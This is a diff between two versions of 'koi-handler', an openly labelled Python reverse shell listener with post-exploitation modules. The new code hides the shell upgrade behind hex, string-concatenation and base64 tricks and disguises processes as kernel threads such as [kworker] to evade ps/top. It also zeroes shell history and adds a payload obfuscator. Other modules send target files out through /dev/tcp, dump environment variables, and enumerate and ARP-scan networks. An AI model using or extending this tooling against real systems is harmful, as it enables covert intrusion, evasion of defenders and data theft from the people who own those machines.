koi-handler 0.7.8__tar.gz → 0.8.3__tar.gz

{koi_handler-0.7.8/src/koi_handler.egg-info → koi_handler-0.8.3}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: koi-handler
-Version: 0.7.8
+Version: 0.8.3
 Summary: Reverse shell listener
 Requires-Python: >=3.10
 License-File: LICENSE

{koi_handler-0.7.8 → koi_handler-0.8.3}/pyproject.toml

@@ -4,12 +4,14 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "koi-handler"
-version = "0.7.8"
+version = "0.8.3"
 description = "Reverse shell listener"
 requires-python = ">=3.10"
 
 [project.scripts]
 koi = "koi.main:main"
+koifuscator = "koi.main:obfuscator"
+koireview = "koi.main:koireview"
 
 [tool.setuptools.packages.find]
 where = ["src"]

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/listener.py

@@ -62,7 +62,7 @@ class _MaskStream:
 
 
 class Listener:
-    def __init__(self, host: str = "0.0.0.0", port: int = 4444):
+    def __init__(self, host: str = "0.0.0.0", port: int = 4010):
         self.host = host
         self.port = port
         self._sessions: Dict[int, Session] = {}
@@ -79,6 +79,7 @@ class Listener:
         self._conpty_lock = threading.Lock()
         self.screenable_mode: bool = False
         self._accepting: bool = True
+        self._loggers: dict = {}
 
     def _mask_ip(self, ip: str, kind: str = "remote") -> str:
         """Return a placeholder instead of a real IP when screenable mode is active."""
@@ -89,7 +90,7 @@ class Listener:
     def _toggle_screenable(self) -> None:
         self.screenable_mode = not self.screenable_mode
         state = _c("ON") if self.screenable_mode else _gr("OFF")
-        sys.stdout.write("\033[F\033[2K")  # move up + wipe the echoed _koi_screenable_ line
+        sys.stdout.write("\033[F\033[2K")
         notify('info', f"Screenable mode {state}")
         sys.stdout.flush()
 
@@ -108,6 +109,10 @@ class Listener:
         sess = self._sessions.pop(sid, None)
         if sess:
             sess.close()
+        if sid in self._loggers:
+            self._loggers[sid].log_event("terminated")
+            self._loggers[sid].close()
+            del self._loggers[sid]
 
     def _prune(self) -> None:
         for sid in [k for k, s in self._sessions.items() if not s.alive]:
@@ -127,7 +132,6 @@ class Listener:
                 conn.close()
                 continue
 
-            # ConPtyShell callback: stash without assigning an ID
             if addr[0] in self._pending_conpty:
                 os_type = self._pending_conpty.pop(addr[0])
                 staging = Session(id=-1, conn=conn, addr=addr)
@@ -295,6 +299,9 @@ class Listener:
             elif cmd in ("obfuscator", "obs", "cook"):
                 self._cmd_obfuscate(parts[1] if len(parts) > 1 else None)
 
+            elif cmd in ("logs", "log"):
+                self._cmd_logs()
+
             elif cmd in ("modules", "mdls", "mods"):
                 self._cmd_modules()
 
@@ -366,6 +373,10 @@ class Listener:
             data[key] = s._uptime()
         print_report_box("Sessions", data)
 
+    def _cmd_logs(self) -> None:
+        from koi.utils.logger import print_log_list
+        print_log_list()
+
     def _cmd_reload(self) -> None:
         with Spinner("Reloading modules…"):
             modules = load_modules(reload=True)
@@ -395,19 +406,15 @@ class Listener:
             return
 
         with Spinner("Upgrading shell…"):
-            spawn = (
-                "python3 -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
-                "python -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
-                "script -qc /bin/bash /dev/null\n"
-            )
-            sess.send(spawn.encode())
+            from koi.utils.bash_obfuscate import obfuscated_upgrade_spawn
+            sess.send(obfuscated_upgrade_spawn().encode())
             self._drain(sess, 0.8)
 
             if not sess.alive:
                 notify('error', f"Session {_p(f'#{sid}')} died during upgrade.")
                 return
 
-            sess.send(b"export TERM=xterm-256color HISTFILE=/dev/null\n")
+            sess.send(b"export TERM=xterm-256color HISTSIZE=0 HISTFILESIZE=0\n")
             self._drain(sess, 0.3)
             self._sync_winsize(sess)
             self._drain(sess, 0.3)
@@ -467,8 +474,18 @@ class Listener:
             sys.stdout.write("\033[2J\033[H")
             sys.stdout.flush()
 
+        if sess.id not in self._loggers:
+            from koi.utils.logger import start_logger
+            lg = start_logger(sess)
+            self._loggers[sess.id] = lg
+            sess.log_path = str(lg.path)
+            notify('info', f"Logging to {_gr(lg.path.name)}")
+
         self._in_session = True
-        reason = interact(sess)
+        logger = self._loggers.get(sess.id)
+        logger.log_event(f"enter — {self._mask_ip(ip)}:{port}")
+        reason = interact(sess, logger=logger)
+        logger.log_event(reason)
         self._in_session = False
 
         signal.signal(signal.SIGWINCH, signal.SIG_DFL)

koi_handler-0.8.3/src/koi/main.py

@@ -0,0 +1,114 @@
+#!/usr/bin/env python3
+
+from __future__ import annotations
+
+import argparse
+import signal
+import sys
+
+from koi.listener import Listener
+from koi.utils.ui import notify, _b, _p, _c, display_art, print_payloads
+from koi.utils.obfuscate_ui import run_obfuscate_ui
+from koi.utils.logger import review as _review
+from koi.utils.logger import clear_log as _clear_log
+
+
+
+class _ArtHelpAction(argparse.Action):
+    def __init__(self, option_strings, dest=argparse.SUPPRESS, default=argparse.SUPPRESS, help=None):
+        super().__init__(option_strings=option_strings, dest=dest, default=default, nargs=0, help=help)
+
+    def __call__(self, parser, namespace, values, option_string=None):
+        display_art(small=True)
+        parser.print_help()
+        parser.exit()
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="koi – multi-session reverse shell listener",
+        add_help=False,
+    )
+    parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
+    parser.add_argument("--host", default="0.0.0.0", help="Bind address (default: 0.0.0.0)")
+    parser.add_argument("--port", "-p", type=int, default=4010, help="Listen port (default: 4010)")
+    parser.add_argument("--payloads", nargs="?", const="__all__", metavar="IFACE",
+                        help="Print payloads for all interfaces (or a specific one) and exit")
+    parser.add_argument("--obfuscator", "--cook", nargs="?", const="__all__", metavar="IFACE",
+                        help="Open the payload obfuscator (optionally for a specific interface) and exit")
+    args = parser.parse_args()
+
+    if args.payloads is not None:
+        print_payloads(None if args.payloads == "__all__" else args.payloads, args.port)
+        sys.exit(0)
+
+    if args.obfuscator is not None:
+        run_obfuscate_ui(None if args.obfuscator == "__all__" else args.obfuscator, args.port)
+        sys.exit(0)
+
+    listener = Listener(host=args.host, port=args.port)
+
+    signal.signal(
+        signal.SIGINT,
+        lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
+    )
+
+    try:
+        listener.start()
+    except PermissionError:
+        notify('error', f"Permission denied on port {args.port}.")
+        sys.exit(1)
+    except OSError as e:
+        notify('error', f"Cannot start listener: {e}")
+        sys.exit(1)
+
+
+def koireview():
+    parser = argparse.ArgumentParser(
+        description="koireview – review a recorded Koi session",
+        add_help=False,
+    )
+    parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
+    parser.add_argument("log", nargs="?", default=None, metavar="LOG",
+                        help="Log file to review (name or path). Omit to list available logs.")
+    parser.add_argument("-c", "--clear", action="store_true", help="Clear the specified log or all logs if none specified")
+    args = parser.parse_args()
+
+    if args.log is None:
+        from koi.utils.logger import print_log_list
+        print_log_list()
+    else:
+        _review(args.log)
+
+    if args.clear:
+        if args.log is None:
+            from koi.utils.logger import list_logs
+            logs = list_logs()
+            if not logs:
+                print("No logs to clear.")
+                return
+            for log in logs:
+                _clear_log(log)
+        else:
+            from koi.utils.logger import resolve_log
+            log_path = resolve_log(args.log)
+            if log_path is None:
+                print(f"Log not found: {args.log}", file=sys.stderr)
+                sys.exit(1)
+            _clear_log(log_path)
+
+def obfuscator():
+    parser = argparse.ArgumentParser(
+        description="koifuscator – payload obfuscator",
+        add_help=False,
+    )
+    parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
+    parser.add_argument("--port", "-p", type=int, default=4010, help="Callback port embedded in the payload (default: 4010)")
+    parser.add_argument("iface", nargs="?", default=None, metavar="IFACE",
+                        help="Network interface to use (default: all)")
+    args = parser.parse_args()
+    run_obfuscate_ui(args.iface, args.port)
+
+
+if __name__ == "__main__":
+    main()

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/blueprint.py

@@ -347,6 +347,10 @@ class KoiModule(ABC):
     def status(self, msg: str) -> None:
         """Print a status notification."""
         self.notify("status", msg)
+        
+    def success(self, msg: str) -> None:
+        """Print a success notification."""
+        self.notify("success", msg)
 
     def __str__(self) -> str:
         return f"<KoiModule {self.name!r} on session #{self.session.id}>"

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/download.py

@@ -3,6 +3,7 @@ import ntpath
 import os
 import posixpath
 import select
+import shlex
 import socket
 import threading
 import time
@@ -15,6 +16,11 @@ def _remote_basename(path: str) -> str:
     return ntpath.basename(path) or posixpath.basename(path)
 
 
+def _shell_quote(path: str) -> str:
+    """Quote a path for safe use in a remote shell command (Linux only)."""
+    return shlex.quote(path)
+
+
 class DownloadModule(KoiModule):
     name = "download"
     description = "Download a file from the target via a dedicated TCP connection."
@@ -22,23 +28,29 @@ class DownloadModule(KoiModule):
     category = "File transfer"
     platform = ["linux", "windows_ps"]
     arguments = [
-        {"flags": ["remote_path"], "help": "Path of the file on the remote target"},
+        {
+            "flags": ["remote_path"],
+            "help": "Path of the file on the remote target (quotes optional, spaces supported)",
+            "nargs": "+",
+        },
         {"flags": ["-o", "--output"], "default": None, "help": "Local output path"},
     ]
 
     def run(self) -> None:
-        remote_path = self.args.remote_path
+        remote_path = " ".join(self.args.remote_path)
         local_path  = self.args.output or _remote_basename(remote_path)
         local_ip    = self._get_local_ip()
         os_type     = self.session.os_type
 
+        quoted = _shell_quote(remote_path)
+
         # Step 1 : existence check
         with self.spinner("Checking if file exists…"):
             if os_type == "linux":
                 token_ok  = uuid.uuid4().hex
                 token_err = uuid.uuid4().hex
                 result = self.exec(
-                    f"test -f {remote_path} && echo {token_ok} || echo {token_err}"
+                    f"test -f {quoted} && echo {token_ok} || echo {token_err}"
                 )
                 exists = result.stdout.count(token_err) < 2
             else:
@@ -52,7 +64,7 @@ class DownloadModule(KoiModule):
         # Step 2 : file size
         with self.spinner("Getting file size…"):
             if os_type == "linux":
-                size_str = self._exec_clean(f"wc -c < {remote_path}")
+                size_str = self._exec_clean(f"wc -c < {quoted}")
                 try:
                     remote_size = int(size_str.split()[0])
                 except (ValueError, IndexError):
@@ -106,7 +118,7 @@ class DownloadModule(KoiModule):
         # Step 4 : trigger remote transfer
         if os_type == "linux":
             self.exec(
-                f"cat {remote_path} > /dev/tcp/{local_ip}/{port}",
+                f"cat {quoted} > /dev/tcp/{local_ip}/{port}",
                 timeout=30,
             )
         else:
@@ -154,4 +166,4 @@ class DownloadModule(KoiModule):
             "remote path": remote_path,
             "local path":  os.path.abspath(local_path),
             "size":        f"{len(raw)} bytes  ({len(raw)/1024:.1f} KB)",
-        })
+        })

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/env_dump.py

@@ -57,8 +57,6 @@ class EnvDumpModule(KoiModule):
         },
     ]
 
-    # ── helpers ───────────────────────────────────────────────────────────────
-
     def _display(self, env: dict[str, str], show_all: bool, total: int) -> None:
         interesting = {k: v for k, v in env.items() if _is_interesting(k, v)}
         rest        = {k: v for k, v in env.items() if k not in interesting}
@@ -76,8 +74,6 @@ class EnvDumpModule(KoiModule):
         elif not show_all and rest:
             self.ok(f"{len(rest)} other variables — use -a to show all.")
 
-    # ── Linux ─────────────────────────────────────────────────────────────────
-
     def _run_linux(self) -> None:
         with self.spinner("Dumping environment…"):
             raw = self._exec_clean("printenv 2>/dev/null || env 2>/dev/null", timeout=10)
@@ -99,11 +95,7 @@ class EnvDumpModule(KoiModule):
         show_all = getattr(self.args, "all", False)
         self._display(env, show_all, len(env))
 
-    # ── Windows PS ────────────────────────────────────────────────────────────
-
     def _run_windows(self) -> None:
-        # Use ||| as key/value separator (unlikely to appear in a var name)
-        # and § to join lines, so _win_query returns everything in one shot.
         ps_expr = (
             "(Get-ChildItem Env: | ForEach-Object {"
             "\"$($_.Name)|||$($_.Value)\""
@@ -129,8 +121,6 @@ class EnvDumpModule(KoiModule):
         show_all = getattr(self.args, "all", False)
         self._display(env, show_all, len(env))
 
-    # ── entry point ───────────────────────────────────────────────────────────
-
     def run(self) -> None:
         if self.session.os_type == "linux":
             self._run_linux()

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/get_processes.py

@@ -42,10 +42,6 @@ class GetProcessesModule(KoiModule):
         },
     ]
 
-    # ── shared ────────────────────────────────────────────────────────────────
-
-    # ── Linux ─────────────────────────────────────────────────────────────────
-
     def _parse_linux(self, raw: str) -> list[dict]:
         procs = []
         for line in raw.splitlines():
@@ -103,17 +99,12 @@ class GetProcessesModule(KoiModule):
             val_fn=lambda p: p["cmd"],
         )
 
-    # ── Windows PS ────────────────────────────────────────────────────────────
-
     _WIN_SYSTEM_USERS = frozenset({
         "n/a", "nt authority\\system", "nt authority\\local service",
         "nt authority\\network service",
     })
 
     def _parse_windows_tasklist(self, raw: str) -> list[dict]:
-        # tasklist /fo csv /nh /v columns:
-        # "Image Name","PID","Session Name","Session#","Mem Usage",
-        # "Status","User Name","CPU Time","Window Title"
         procs = []
         for entry in raw.split("§"):
             entry = self._clean(entry)
@@ -148,8 +139,6 @@ class GetProcessesModule(KoiModule):
         return False
 
     def _run_windows(self) -> None:
-        # Run tasklist inside PS and join all lines with § so _win_query
-        # (which returns the last echoed line) gets the full output at once.
         ps_expr = "(tasklist /fo csv /nh /v) -join '§'"
         with self.spinner("Collecting processes via tasklist…"):
             raw = self._win_query(ps_expr, timeout=30)
@@ -167,8 +156,6 @@ class GetProcessesModule(KoiModule):
             val_fn=lambda p: f"session={p['session']}  mem={p['mem']}",
         )
 
-    # ── dispatch (shared filtering/display logic) ─────────────────────────────
-
     def _dispatch(self, procs, total, is_interesting, key_fn, val_fn) -> None:
         keyword  = getattr(self.args, "filter", None)
         show_all = getattr(self.args, "all", False)
@@ -200,8 +187,6 @@ class GetProcessesModule(KoiModule):
         else:
             self.ok(f"No noteworthy processes found ({total} total). Use -a to list all.")
 
-    # ── entry point ───────────────────────────────────────────────────────────
-
     def run(self) -> None:
         if self.session.os_type == "linux":
             self._run_linux()

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/network_enum.py

@@ -31,16 +31,12 @@ class NetworkEnumModule(KoiModule):
         },
     ]
 
-    # ── helpers ───────────────────────────────────────────────────────────────
-
     def _run(self, cmd: str, timeout: float = 15.0) -> str:
         try:
             return self._exec_clean(cmd, timeout=timeout)
         except Exception:
             return ""
 
-    # ── section: interfaces ───────────────────────────────────────────────────
-
     def _section_interfaces(self) -> tuple[dict, list[tuple[str, str]]]:
         """Return (box_data, [(iface, ipv4_cidr), ...]) for non-loopback interfaces."""
         raw = self._run("ip -o addr show")
@@ -62,8 +58,6 @@ class NetworkEnumModule(KoiModule):
         box = {iface: "  ".join(addrs) for iface, addrs in grouped.items()}
         return box, ipv4_ifaces
 
-    # ── section: routes ───────────────────────────────────────────────────────
-
     def _section_routes(self) -> dict:
         raw = self._run("ip route show")
         box: dict[str, str] = {}
@@ -77,8 +71,6 @@ class NetworkEnumModule(KoiModule):
             box[dest] = rest
         return box
 
-    # ── section: ARP neighbors (cached, instant) ──────────────────────────────
-
     def _section_neighbors(self) -> dict:
         raw = self._run("ip neigh show 2>/dev/null || arp -a 2>/dev/null")
         box: dict[str, str] = {}
@@ -103,8 +95,6 @@ class NetworkEnumModule(KoiModule):
                 box[ip] = f"{mac}  dev={dev}"
         return box
 
-    # ── section: listening ports ──────────────────────────────────────────────
-
     def _section_listening(self) -> dict:
         raw = self._run("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null")
         box: dict[str, str] = {}
@@ -128,8 +118,6 @@ class NetworkEnumModule(KoiModule):
                 box[local] = process
         return box
 
-    # ── section: established connections ─────────────────────────────────────
-
     def _section_connections(self) -> dict:
         raw = self._run(
             "ss -tnp state established 2>/dev/null || "
@@ -153,8 +141,6 @@ class NetworkEnumModule(KoiModule):
                 box[f"{local} → {remote}"] = process
         return box
 
-    # ── section: DNS ──────────────────────────────────────────────────────────
-
     def _section_dns(self) -> dict:
         raw = self._run("cat /etc/resolv.conf 2>/dev/null")
         box: dict[str, str] = {}
@@ -172,8 +158,6 @@ class NetworkEnumModule(KoiModule):
                 box[key if n == 0 else f"{key} {n + 1}"] = val
         return box
 
-    # ── host discovery (ARP scan) ─────────────────────────────────────────────
-
     @staticmethod
     def _cidr_to_network(cidr: str) -> tuple[str, int]:
         ip_str, prefix_str = cidr.split("/")
@@ -302,8 +286,6 @@ class NetworkEnumModule(KoiModule):
             else:
                 self.warn(f"No live hosts found on {network}.")
 
-    # ── entry point ───────────────────────────────────────────────────────────
-
     def run(self) -> None:
         no_scan = getattr(self.args, "no_scan", False)
         subnet  = getattr(self.args, "subnet", None)

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/session.py

@@ -33,6 +33,7 @@ class Session:
     os_type: OsType = field(default=None)
     encoding: str = field(default="utf-8")
     eol: str = field(default="\n")
+    log_path: Optional[str] = field(default=None)
     _lock: threading.Lock = field(default_factory=threading.Lock, repr=False)
 
     def _uptime(self) -> str:

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/bash_obfuscate.py

@@ -69,6 +69,22 @@ def _bash_ifs(payload: str) -> str:
     return f"export {v}='{payload}';eval ${v}"
 
 
+_FAKE_PROC_NAMES = [
+    "[kworker/0:1]", "[kworker/1:2]", "[kworker/2:0]",
+    "[migration/0]", "[migration/1]",
+    "[watchdog/0]",  "[watchdog/1]",
+    "[ksoftirqd/0]", "[ksoftirqd/1]",
+    "[rcu_sched]",   "[rcu_bh]",
+]
+
+
+def _bash_spoof_argv(payload: str) -> str:
+    """Wrap with exec -a to spoof process name in ps/top."""
+    name = random.choice(_FAKE_PROC_NAMES)
+    encoded = base64.b64encode(payload.encode()).decode()
+    return f"exec -a '{name}' bash <(echo {encoded}|base64 -d)"
+
+
 METHODS: list[tuple[str, str, Callable[[str], str]]] = [
     ("ansi_c",      "$'\\xNN' ANSI-C quoting on key tokens",    _bash_ansi_c),
     ("printf_hex",  "$(printf '\\xNN') hex encoding",           _bash_printf_hex),
@@ -76,4 +92,44 @@ METHODS: list[tuple[str, str, Callable[[str], str]]] = [
     ("var_split",   "token split across shell variables",        _bash_var_split),
     ("base64",      "bash<<<$(base64 -d<<<...) full wrap",       _bash_base64),
     ("ifs",         "store in variable and eval",                _bash_ifs),
+    ("spoof_argv",  "exec -a to mask process name in ps/top",   _bash_spoof_argv),
 ]
+
+
+def _hex(s: str) -> str:
+    return "".join(f"\\x{ord(c):02x}" for c in s)
+
+
+def _py_hex_import() -> str:
+    """__import__("\\x70\\x74\\x79").spawn("\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68")"""
+    return f'__import__("{_hex("pty")}").spawn("{_hex("/bin/bash")}")'
+
+
+def _py_getattr_concat() -> str:
+    """getattr(__import__("p"+"ty"), "sp"+"awn")("/bin/bash")"""
+    i = random.randint(1, 2)
+    j = random.randint(1, 4)
+    pty_split   = f'"{"pty"[:i]}"+"{"pty"[i:]}"'
+    spawn_split = f'"{"spawn"[:j]}"+"{"spawn"[j:]}"'
+    return f'getattr(__import__({pty_split}),{spawn_split})("/bin/bash")'
+
+
+def _py_b64_exec() -> str:
+    """exec(__import__("base64").b64decode(b"...").decode())"""
+    payload = 'import pty; pty.spawn("/bin/bash")'
+    encoded = base64.b64encode(payload.encode()).decode()
+    return f'exec(__import__("base64").b64decode(b"{encoded}").decode())'
+
+
+def obfuscated_upgrade_spawn() -> str:
+    """Return a randomised obfuscated upgrade command for Linux PTY spawn."""
+    technique = random.choice([_py_hex_import, _py_getattr_concat, _py_b64_exec])
+    code = technique()
+    name = random.choice(_FAKE_PROC_NAMES)
+    py = (
+        f"exec -a '{name}' python3 -c '{code}' 2>/dev/null || "
+        f"exec -a '{name}' python -c '{code}' 2>/dev/null"
+    )
+    script = "$'" + "".join(f"\\x{ord(c):02x}" for c in "script") + "'"
+    fallback = f"{script} -qc /bin/bash /dev/null"
+    return f"{py} || {fallback}\n"

koi_handler-0.8.3/src/koi/utils/cache.py

@@ -0,0 +1,32 @@
+from __future__ import annotations
+
+from pathlib import Path
+
+_CACHE_DIR = Path.home() / ".koi" / "cache"
+_CONPTY_FILENAME = "Invoke-ConPtyShell.ps1"
+
+
+def cache_dir() -> Path:
+    _CACHE_DIR.mkdir(parents=True, exist_ok=True)
+    return _CACHE_DIR
+
+
+def conpty_cache_path() -> Path:
+    return cache_dir() / _CONPTY_FILENAME
+
+
+def save_conptyshell(data: bytes) -> None:
+    """Persist a fresh copy of ConPtyShell to the local cache."""
+    conpty_cache_path().write_bytes(data)
+
+
+def load_conptyshell() -> bytes | None:
+    """Return the cached ConPtyShell bytes, or None if no cache exists."""
+    p = conpty_cache_path()
+    if p.exists():
+        return p.read_bytes()
+    return None
+
+
+def cache_exists() -> bool:
+    return conpty_cache_path().exists()

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/cli.py

@@ -12,7 +12,7 @@ from koi.utils.ui import (
 COMMANDS = [
     "ls", "go", "upgrade", "kill", "setshell", "help", "exit",
     "quit", "interact", "payload", "obfuscator", "run", "modules",
-    "reload", "start", "stop",
+    "reload", "start", "stop", "logs",
 ]
 
 _OS_TYPES = ["linux", "windows_ps", "windows_cmd"]
@@ -70,6 +70,7 @@ def print_help() -> None:
             f"{_p('run')} {_b('<module>')} {_b('<id>')} {_b('[args…]')}": "Run a module against a session",
             f"{_p('setshell')} {_b('<id>')} {_b('<os_type>')}": "Manually set the OS type of a session",
             f"{_p('stop')}": "Pause the listener — refuse new connections",
+            f"{_p('logs')}": "List recorded session logs",
             f"{_p('start')}": "Resume the listener — accept new connections again",
             f"{_p('help')}": "Show this message",
             f"{_p('exit')}": "Shut down the listener",

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/interact.py

@@ -14,13 +14,13 @@ CTRL_Z = b"\x1a"
 CTRL_C = b"\x03"
 
 
-def interact(sess: Session) -> str:
+def interact(sess: Session, logger=None) -> str:
     if sess.os_type in ("windows_cmd", "windows_ps") and not sess.upgraded:
-        return _interact_windows(sess)
-    return _interact_raw(sess)
+        return _interact_windows(sess, logger)
+    return _interact_raw(sess, logger)
 
 
-def _interact_raw(sess: Session) -> str:
+def _interact_raw(sess: Session, logger=None) -> str:
     stop_event = threading.Event()
     result = ["backgrounded"]
 
@@ -36,6 +36,8 @@ def _interact_raw(sess: Session) -> str:
                     result[0] = "disconnected"
                     stop_event.set()
                     return
+                if logger:
+                    logger.log_output(data)
                 sys.stdout.buffer.write(data)
                 sys.stdout.buffer.flush()
             except OSError:
@@ -57,11 +59,15 @@ def _interact_raw(sess: Session) -> str:
                 if CTRL_Z in key:
                     before = key[: key.index(CTRL_Z)]
                     if before:
+                        if logger:
+                            logger.log_input(before)
                         sess.send(before)
                     result[0] = "backgrounded"
                     stop_event.set()
                     break
 
+                if logger:
+                    logger.log_input(key)
                 if not sess.send(key):
                     result[0] = "disconnected"
                     stop_event.set()
@@ -74,7 +80,7 @@ def _interact_raw(sess: Session) -> str:
     return result[0]
 
 
-def _interact_windows(sess: Session) -> str:
+def _interact_windows(sess: Session, logger=None) -> str:
     enc = sess.encoding
     stop_event = threading.Event()
     result = ["backgrounded"]
@@ -93,6 +99,8 @@ def _interact_windows(sess: Session) -> str:
                     stop_event.set()
                     return
                 buf += data
+                if logger:
+                    logger.log_output(data)
                 text = buf.decode(enc, errors="replace")
                 sys.stdout.write(text)
                 sys.stdout.flush()
@@ -150,6 +158,8 @@ def _interact_windows(sess: Session) -> str:
                 break
 
             line = (cmd + "\r\n").encode(enc, errors="replace")
+            if logger:
+                logger.log_input(line)
             if not sess.send(line):
                 result[0] = "disconnected"
                 break

koi_handler-0.8.3/src/koi/utils/logger.py

@@ -0,0 +1,206 @@
+from __future__ import annotations
+
+import base64
+import json
+import re
+import sys
+import time
+from datetime import datetime
+from pathlib import Path
+from typing import TYPE_CHECKING
+
+if TYPE_CHECKING:
+    from koi.session import Session
+
+_LOG_DIR = Path.home() / ".koi" / "logs"
+
+_ANSI = re.compile(r"\x1b(?:\][^\x07]*\x07|\[[0-?]*[ -/]*[@-~]|[@-Z\\-_])")
+
+
+def log_dir() -> Path:
+    _LOG_DIR.mkdir(parents=True, exist_ok=True)
+    return _LOG_DIR
+
+
+class SessionLogger:
+    def __init__(self, path: Path):
+        self.path = path
+        self._f = open(path, "a", buffering=1)
+
+    def _write(self, entry: dict) -> None:
+        self._f.write(json.dumps(entry, ensure_ascii=False) + "\n")
+
+    def log_meta(self, sess: "Session") -> None:
+        self._write({
+            "ts":       time.time(),
+            "type":     "meta",
+            "id":       sess.id,
+            "ip":       sess.addr[0],
+            "port":     sess.addr[1],
+            "os":       sess.os_type,
+            "upgraded": sess.upgraded,
+        })
+
+    def log_input(self, data: bytes) -> None:
+        if data:
+            self._write({
+                "ts":   time.time(),
+                "type": "input",
+                "data": base64.b64encode(data).decode(),
+            })
+
+    def log_output(self, data: bytes) -> None:
+        if data:
+            self._write({
+                "ts":   time.time(),
+                "type": "output",
+                "data": base64.b64encode(data).decode(),
+            })
+
+    def log_event(self, msg: str) -> None:
+        self._write({"ts": time.time(), "type": "event", "msg": msg})
+
+    def close(self) -> None:
+        try:
+            self._f.close()
+        except OSError:
+            pass
+
+
+def start_logger(sess: "Session") -> SessionLogger:
+    d = log_dir()
+    stamp = datetime.now().strftime("%Y%m%d-%H%M%S")
+    name = f"{stamp}-{sess.id}-{sess.addr[0]}.log"
+    logger = SessionLogger(d / name)
+    logger.log_meta(sess)
+    return logger
+
+
+_RST    = "\033[0m"
+_DIM    = "\033[2m"
+_BOLD   = "\033[1m"
+_ORANGE = "\033[38;2;248;101;70m"
+_WHITE  = "\033[38;2;255;255;255m"
+_GREY   = "\033[38;2;169;169;169m"
+_CORAL  = "\033[38;2;235;111;92m"
+
+
+def _clean(raw: bytes, encoding: str) -> str:
+    text = raw.decode(encoding, errors="replace")
+    text = _ANSI.sub("", text)
+    text = text.replace("\r\n", "\n").replace("\r", "\n")
+    return text
+
+
+def _printable(text: str) -> bool:
+    return any(c.isprintable() and c != " " for c in text)
+
+
+def list_logs() -> list[Path]:
+    d = log_dir()
+    return sorted(d.glob("*.log"), reverse=True)
+
+
+def resolve_log(name: str) -> Path | None:
+    p = Path(name)
+    if p.exists():
+        return p
+    matches = sorted(log_dir().glob(f"*{p.name}*"), reverse=True)
+    return matches[0] if matches else None
+
+def clear_log(path: Path) -> None:
+    try:
+        path.unlink()
+        print(f"{_CORAL}Log cleared: {path.name}{_RST}")
+    except OSError as exc:
+        print(f"{_CORAL}Failed to clear log {path.name}: {exc}{_RST}", file=sys.stderr)
+
+
+_PROMPT_SUFFIXES = ("$", "#", "❯", ">", "% ")
+_CTRL = re.compile(r"[\x00-\x08\x0b-\x0c\x0e-\x1f\x7f]")
+
+
+def _is_prompt(line: str) -> bool:
+    s = line.strip()
+    return any(s.endswith(sfx) for sfx in _PROMPT_SUFFIXES)
+
+
+def review(name: str) -> None:
+    path = resolve_log(name)
+    if path is None:
+        print(f"Log not found: {name}", file=sys.stderr)
+        sys.exit(1)
+
+    encoding = "utf-8"
+    input_buf = b""
+    recent_cmds: set[str] = set()
+
+    print()
+    with open(path) as f:
+        for raw_line in f:
+            raw_line = raw_line.strip()
+            if not raw_line:
+                continue
+            try:
+                entry = json.loads(raw_line)
+            except json.JSONDecodeError:
+                continue
+
+            ts   = datetime.fromtimestamp(entry["ts"]).strftime("%H:%M:%S")
+            kind = entry.get("type")
+
+            if kind == "meta":
+                encoding = "utf-8" if entry.get("os") == "linux" else "cp1252"
+                os_label = entry.get("os") or "?"
+                print(f"{_ORANGE}{'─' * 64}{_RST}")
+                print(
+                    f"  {_BOLD}{_WHITE}Session #{entry['id']}{_RST}"
+                    f"  {_ORANGE}{entry['ip']}:{entry['port']}{_RST}"
+                    f"  {_GREY}[{os_label}]{_RST}"
+                )
+                print(f"{_ORANGE}{'─' * 64}{_RST}\n")
+
+            elif kind == "input":
+                input_buf += base64.b64decode(entry["data"])
+                while b"\n" in input_buf or b"\r" in input_buf:
+                    for sep in (b"\r\n", b"\n", b"\r"):
+                        if sep in input_buf:
+                            cmd_bytes, input_buf = input_buf.split(sep, 1)
+                            break
+                    cmd = _CTRL.sub("", _clean(cmd_bytes, encoding)).strip()
+                    if cmd and _printable(cmd):
+                        print(f"  {_DIM}{ts}{_RST}  {_ORANGE}❯{_RST}  {_WHITE}{cmd}{_RST}")
+                        recent_cmds.add(cmd.lower())
+
+            elif kind == "output":
+                text = _clean(base64.b64decode(entry["data"]), encoding)
+                for line in text.splitlines():
+                    stripped = _CTRL.sub("", line).strip()
+                    if not stripped or not _printable(stripped):
+                        continue
+                    if stripped.lower() in recent_cmds:
+                        continue
+                    if _is_prompt(stripped):
+                        continue
+                    print(f"  {_DIM}{ts}{_RST}     {_GREY}{stripped}{_RST}")
+                recent_cmds.clear()
+
+            elif kind == "event":
+                input_buf = b""
+                recent_cmds.clear()
+                print(f"\n  {_DIM}──  {entry['msg']}  ──{_RST}\n")
+
+    print()
+
+
+def print_log_list() -> None:
+    logs = list_logs()
+    if not logs:
+        print(f"  {_GREY}No logs found in {log_dir()}{_RST}")
+        return
+    print()
+    for p in logs:
+        size = p.stat().st_size
+        size_str = f"{size // 1024}K" if size >= 1024 else f"{size}B"
+        print(f"  {_ORANGE}{p.name}{_RST}  {_GREY}{size_str}{_RST}")
+    print()

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/payloads.py

@@ -68,7 +68,7 @@ $client.Close()
 
 class PayloadGenerator:
 
-    def __init__(self, port: int = 4444):
+    def __init__(self, port: int = 4010):
         self.port = port
 
     def get_interfaces(self) -> dict[str, str]:

